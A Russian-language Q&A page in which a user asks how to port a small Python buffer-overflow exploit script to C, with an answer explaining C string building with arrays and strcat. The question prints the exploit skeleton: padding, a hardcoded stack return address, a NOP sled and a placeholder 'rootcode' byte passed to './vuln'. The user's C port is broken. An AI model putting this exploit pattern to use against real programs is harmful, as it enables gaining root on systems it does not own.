Преобразование Python программы в C: Как я могу умножить символ на указанное значение и сохранить его в переменной? - PullRequest
1 голос
/ 07 января 2020

нуждается в общей помощи для преобразования небольшого скрипта переполнения буфера в Python в C. Это немного хакерская работа, и я изо всех сил пытаюсь получить правильные типы данных. Я могу скомпилировать все с одним предупреждением: " инициализация делает указатель из целого числа без приведения - char * buff = ("% 0 * i ", 252, ' A ');"Эта строка должна давать переменной buff значение 252 символа' A '.

Я знаю, что изменение типа данных может исправить это, но остальная часть программы полагается при переполнении указатель char *. Если у кого-нибудь есть какие-либо советы для меня относительно каких-либо частей программы, они будут очень благодарны.

ура, Шив

ORIGINAL Python:

stack_addr = 0xbffff1d0
rootcode = "\x31"
def conv(num):
    return struct.pack("<I",num)
buff = "A" * 172 
buff += conv(stack_addr) 
buff += "\x90" * 30   
buff += rootcode  
buff += "A" * 22  
print "targetting vulnerable program"
call(["./vuln", buff])

Конвертировано C код:

//endianess convertion
int conv(int stack_addr)
{
    (stack_addr>>8) | (stack_addr<<8);
    return(0);
}

int main(int argc, char *argv[])
{
    int stack_addr = 0xbffff1d0;
    int rootcode = *"\x31" 
    char *buff = ("%0*i", 252, 'A'); //give buff the value of 252 'A's
    buff += conv(stack_addr); //endian conversion
    buff += ("%0*i", 30, '\x90'); //append buff variable with 30 '\x90' 
    buff = buff + rootcode; //append buff with value of rootcode variable
    buff += ("%0*i", 22, 'A'); //append buff with 22 'A's
}

1 Ответ

0 голосов
/ 07 января 2020

Самый простой способ это написать строку с необходимым количеством символов вручную. Используйте функцию копирования-вставки вашего любимого текстового редактора.

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

Вы также можете создать его из отдельных символов, используя for-l oop, как описано ниже. Однако вы можете пропустить деталь, построив длинную строку, и добавить отдельные символы непосредственно к финальной строке. Это можно сделать двумя способами: используя strcat и без использования strcat. Первый способ немного чище:

char buff[400] = ""; // note: this should be an array, not a pointer!
// the array should be big enough to hold the final string; 400 seems enough
for (int i = 0; i < 252; i++)
    strcat(buff, "A"); // this part appends one string of length 1

Функция strcat неэффективна; он вычисляет длину строки каждый раз, когда к ней добавляется строка "A". Вам не нужна скорость, но если вы когда-нибудь решите написать ее эффективно, не используйте strcat и добавляйте отдельные char (байты) в массив, используя ядро ​​C language:

char buff[400]; // note: this should be an array, not a pointer!
int pos = 0; // position at which to write data
for (int i = 0; i < 252; i++)
    buff[pos++] = 'A'; // this part appends one char 'A'; note single quotes
...
buff[pos++] = '\0'; // don't forget to terminate the string!
...